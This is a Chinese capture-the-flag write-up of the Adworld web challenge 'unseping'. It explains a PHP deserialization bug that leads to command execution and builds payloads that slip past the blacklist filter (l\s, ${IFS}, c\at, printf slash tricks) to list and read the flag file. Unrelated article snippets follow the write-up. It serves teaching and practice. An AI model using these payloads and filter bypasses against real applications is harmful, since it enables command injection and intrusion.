攻防世界web第二题unseping

在这里插入图片描述
这是题目

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

代码分析:首先可以看到一个疑似重点函数

1. function ping($ip){
     exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中
     var_dump($result);  // 展示 $result 的内容
 }
 看到exec,可以考虑是命令执行漏洞,大概率是采用绕过加命令执行获取flag
2. // __destruct() 当对象销毁时触发
 function __destruct(){
     // 如果 $this->method 为 ping 则会进入函数调用
     if (in_array($this->method, array("ping"))) {
         // call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数
         call_user_func_array(array($this, $this->method), $this->args);
     }
 }
 查询文档可知call_user_func_array是一个回调函数,该函数第一个接收的是回调函数,第二个接收的是参数数组。

到这里,我们可以看出基本明确了:需要实例化一个ease对象,其
m e t h o d 参数应该是“ p i n g ” , 因为只有 method参数应该是“ping”,因为只有 method参数应该是ping,因为只有this->method 为 ping ,才会调用回调函数,回调函数的第一个变量就是ping函数,第二个参数就是我们构造的要执行的命令。
小结一下:
1.实例化ease对象,method参数是ping;
2.构造命令参数,使其回调ping函数时,执行我们构造的命令;

下面就要思考我们要获取flag需要怎样构造命令了,首先,常规思路肯定是先获取当前目录下的文件列表,所以我们先要构造一个“ls”命令。
所以我们需要实例化对象:

 $ctf = new ease('ping', array('ls'));

汇总

 <?php
 class ease{
     
     private $method;
     private $args;
     function __construct($method, $args) {
         $this->method = $method;
         $this->args = $args;
     }
  
     function __destruct(){
         if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
             call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
             // $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping
         }
     } 
  
     function ping($ip){
         exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中
         var_dump($result);  // 展示结果 => 考点,命令执行
     }function waf($str){
         if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
             return $str;
         } else {
             echo "don't hack";
         }
     }
  
     function __wakeup(){ // 执行 unserialize 调用此方法
         foreach($this->args as $k => $v) {
             $this->args[$k] = $this->waf($v);
         }
     }   
 }$ctf = new ease('ping', array('ls'));
 echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解
 echo "\n";
 // $ctf=@$_POST['ctf'];
 // @unserialize(base64_decode($ctf));
 ?>

执行代码,得到输出
在这里插入图片描述
这里输出的结果是ease对象序列化后的内容,
**这时注意:**我们执行代码首先会进入 __wakeup() 函数,该函数会调用 waf() 方法,将我们传递的 array() 数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don’t hack,反之则会返回。
我们将要执行的 ls 很明显时会被过滤的,所以要绕过。
我们构造的是ls命令,目的是获取flag所在的位置,ls的绕过方式可以用“l\s”
所以将 $ctf = new ease(‘ping’, array(‘ls’))修改为 $ctf = new ease(‘ping’, array(‘l\s’));再执行
在这里插入图片描述
得到这样一个结果:
我们实例化了一个对象,构造了ls命令,所以输出结果应该是包含了flag所在位置的一个序列化ease对象。
把这个对象post到后台:
在这里插入图片描述
得到“flag is here”也就是flag的位置,

知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 l\s flag_1s_here 构建序列化内容读取?你会发现,上面那个命令中空格与 flag 都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}进行空格的绕过:
所以需要构造ls flag 1s here 来查看flag:
构造如下

 $ctf = new ease('ping', array('l\s${IFS}f\lag_1s_here'));
 echo base64_encode(serialize($ctf));

执行
得到序列化对象
在这里插入图片描述
post提交得到
在这里插入图片描述
至此,我们已经成功获得 Flag 的文件地址: flag_1s_here/flag_831b69012c67b35f.php

最后一次,构造读取该文件的命令如下:

 $ctf = new ease('ping', array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
 echo base64_encode(serialize($ctf));

执行得到flag内容的序列化对象:
在这里插入图片描述
最后post提交,得到flag:
在这里插入图片描述
总结:1.要能读懂代码
2.要知道如何构造命令
3.要会post提交序列化对象到后台

4.执行代码可以在线运行,也可以用VScode
5.post提交数据我用的是hackbar

知识点汇总:
1. function __construct($method, $args) { $this->method = $method; $this->args = $args; }
构造函数:当创建对象时自动调用。

2.function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); }
析构函数:当对象销毁时自动调用
3.
exec($ip, $result);
exec()函数是用于执行系统命令的内置函数。它允许你在PHP脚本中执行命令行操作系统命令,并返回命令执行的结果。

function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

5.call_user_func_array(array($this, $this->method), $this->args);
php中的call_user_func_array用来调用回调函数,并且传递一个数组型的参数给这个回调函数,返回值是回调函数的返回值,如果出现错误则返回false。

6.整体流程:创建 ease对象,触发构造函数,脚本执行完毕,触发析构函数,回调ping函数,得到包含执行了对应命令结果的序列化对象,post上传,后台反序列化,调用wake_up函数,过滤命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/942857.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java如何避免过度打印日志导致性能问题

文章目录 Java如何避免过度打印日志导致性能问题前言日常开发如何打印日志1、优化日志结构&#xff08;1&#xff09;不要打印一些没用的日志&#xff0c;也不要在 for 循环里面去打印&#xff08;2&#xff09;不要做字符串的拼接&#xff0c;多用占位符&#xff08;3&#xf…

sentinel笔记9- 限流规则持久化(上)

之前的在sentinel 控制台配置的规则&#xff0c;重启后就消失了&#xff0c;sentinel 限流保护-笔记-CSDN博客 本篇还是在之前的demo做验证&#xff0c;使用nacos做持久化。 规则集成Nacos 1 引入依赖 <!--nacos-discovery 注册中心依赖--><dependency><gr…

服务器数据恢复—Lustre分布式文件系统下服务器节点进水的数据恢复案例

服务器数据恢复环境&故障&#xff1a; 5台节点服务器&#xff0c;每台节点服务器上有一组RAID5阵列。每组RAID5阵列上有6块硬盘&#xff08;其中1块硬盘设置为热备盘&#xff0c;其他5块硬盘为数据盘&#xff09;。上层系统环境为Lustre分布式文件系统。 机房天花板漏水导致…

Windows、CentOS环境下搭建自己的版本管理资料库:GitBlit

可以搭建属于公司内部或者个人的Git服务器&#xff0c;方便程序代码及文档版本管理。 官网&#xff1a;http://www.gitblit.com/ Windows环境下安装 提前已经安装好了JDK。 官网下载Windows版的GitBlit。 将zip包解压到自己想要放置的文件夹下。 建立版本库路径&#xff0c…

《2023-2024网络安全产业发展核心洞察与趋势预测》

2023年至2024年间&#xff0c;我国经济总体上逐步显现出复苏迹象&#xff0c;并开始释放向上增长的潜力。在此背景下&#xff0c;网络安全产业也经历了经济环境的深刻影响&#xff0c;不仅实现了阶段性的稳定发展&#xff0c;也展现出较强的韧性与适应能力&#xff0c;为未来的…

WebRTC服务质量(08)- 重传机制(05) RTX机制

WebRTC服务质量&#xff08;01&#xff09;- Qos概述 WebRTC服务质量&#xff08;02&#xff09;- RTP协议 WebRTC服务质量&#xff08;03&#xff09;- RTCP协议 WebRTC服务质量&#xff08;04&#xff09;- 重传机制&#xff08;01) RTX NACK概述 WebRTC服务质量&#xff08;…

Kibana8.17.0在mac上的安装

1、Kibana是什么 Kibana是与elasticsearch配套使用的数据分析与可视化工具&#xff0c;通过Kibana可以轻松与es中存储的数据进行高效的交互&#xff0c;包括数据写入、检索、删除等操作&#xff0c;并可以通过编写部分代码将数据做成各种报表&#xff0c;从而进行非常直观的统…

【Linux】:线程安全 + 死锁问题

&#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;Linux—登神长阶 ⛺️ 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f442;&#x1f3fd;留言 &#x1f60d;收藏 &#x1f49e; &#x1f49e; &#x1f49e; 1. 线程安全和重入问题&…

AI应用-本地模型实现AI生成PPT(简易版)

文章目录 前言技术栈效果展示 一、实现思路二、实现步骤1.本地安装marp-cli2.后端实现3.前端实现 三、代码地址及说明 前言 在许多项目中&#xff0c;生成 PPT 是常见的需求&#xff0c;尤其在教育和报告展示中。传统的生成 PPT 的方法需要手动创建&#xff0c;而使用生成模型…

Linux 服务管理 service systemd systemctl

Linux 服务管理 service systemd systemctl 1 介绍1.1 概述1.2 发展历程1.3 特点1.4 linux 服务管理 发展历程Ubuntu 14.04及更早版本&#xff1a;使用upstart作为默认的init系统旧版本新版本 Ubuntu 15.04到16.04版本&#xff1a;默认使用systemd作为init系统&#xff0c;但仍…

vue 基础学习

一、ref 和reactive 区别 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title> </head> <body><div id"app"><h1>{{Web.title}}</h1><h1&…

光谱相机在农业中的具体应用案例

作物生长监测与产量预测 美国爱荷华州玉米种植园&#xff1a;农场主使用无人机搭载高光谱相机&#xff0c;定期对玉米田进行拍摄。通过分析光谱数据&#xff0c;获取玉米的叶面积指数、叶绿素含量等生长参数。在玉米生长关键期&#xff0c;依据这些参数及时调整施肥和灌溉方案…

LSTM-SVM时序预测 | Matlab基于LSTM-SVM基于长短期记忆神经网络-支持向量机时间序列预测

LSTM-SVM时序预测 | Matlab基于LSTM-SVM基于长短期记忆神经网络-支持向量机时间序列预测 目录 LSTM-SVM时序预测 | Matlab基于LSTM-SVM基于长短期记忆神经网络-支持向量机时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.LSTM-SVM时序预测 | Matlab基于LSTM…

05.HTTPS的实现原理-HTTPS的握手流程(TLS1.2)

05.HTTPS的实现原理-HTTPS的握手流程&#xff08;TLS1.2&#xff09; 简介1. TLS握手过程概述2. TLS握手过程细化3. 主密钥&#xff08;对称密钥&#xff09;生成过程4. 密码规范变更 简介 主要讲述了混合加密流程完成后&#xff0c;客户端和服务器如何共同获得相同的对称密钥…

PostgreSQL编译安装教程

下载安装 1.在家目录创建一个文件夹放下载安装包 mkdir softwarecd software 2.下载文件压缩包 wget https://ftp.postgresql.org/pub/source/v16.0/postgresql-16.0.tar.gz 3.解压 tar -xzvf postgresql-16.0.tar.gz 4.编译 在software/postgresql-16.0下 cd software…

009-spring-bean的实例化流程

1 spring容器初始化时&#xff0c;将xml配置的bean 信息封装在 beandefinition对象 2 所有的beandefinition存储在 beandefinitionMap的map集合中 3 spring对map进行遍历&#xff0c;使用反射创建bean实例对象 4 创建好的bean存在名为singletonObjects的map集合中 5 调用ge…

定位方式:css

使用相对路径 div ul #div下的所有ul&#xff0c;空格表示相对路径&#xff08;这个实际中用的多一些&#xff09; 绝对路径-一般不用绝对路径 html>head>div&#xff0c;“>”表示根路径 使用class名称定位 使用.表示 使用id定位 使用#表示 使用属性定位 [属性名…

基于深度学习(HyperLPR3框架)的中文车牌识别系统-搭建开发环境

本篇内容为搭建开发环境。包括&#xff1a;python开发环境&#xff0c;Qt/C开发环境&#xff0c;以及用到的各个库的安装和配置。 一、Python开发环境搭建与配置 1、下载并安装Anaconda 我没有用最新的版本&#xff0c;安装的是 Anaconda3-2021.05-Windows-x86_64.exe&#…

kamailio.cfg 图形化

kamailio.cfg 文件随着业务增加&#xff0c;会越来越大&#xff0c;越来越复杂&#xff0c;很难看出整体结构来。 有没有什么工具看出整体轮廓呢?有。主要依靠下面的python文件&#xff1a; python脚本 调用命令如下&#xff1a; python3 route_graph.py kamailio.cfg 执…

【Linux】进程控制,手搓简洁版shell

⭐️个人主页&#xff1a;小羊 ⭐️所属专栏&#xff1a;Linux 很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~ 目录 1、进程创建2、进程终止3、进程等待4、进程程序替换5、手写简洁版shell 1、进程创建 fork函数&#xff1a;从已经存在的进程中创…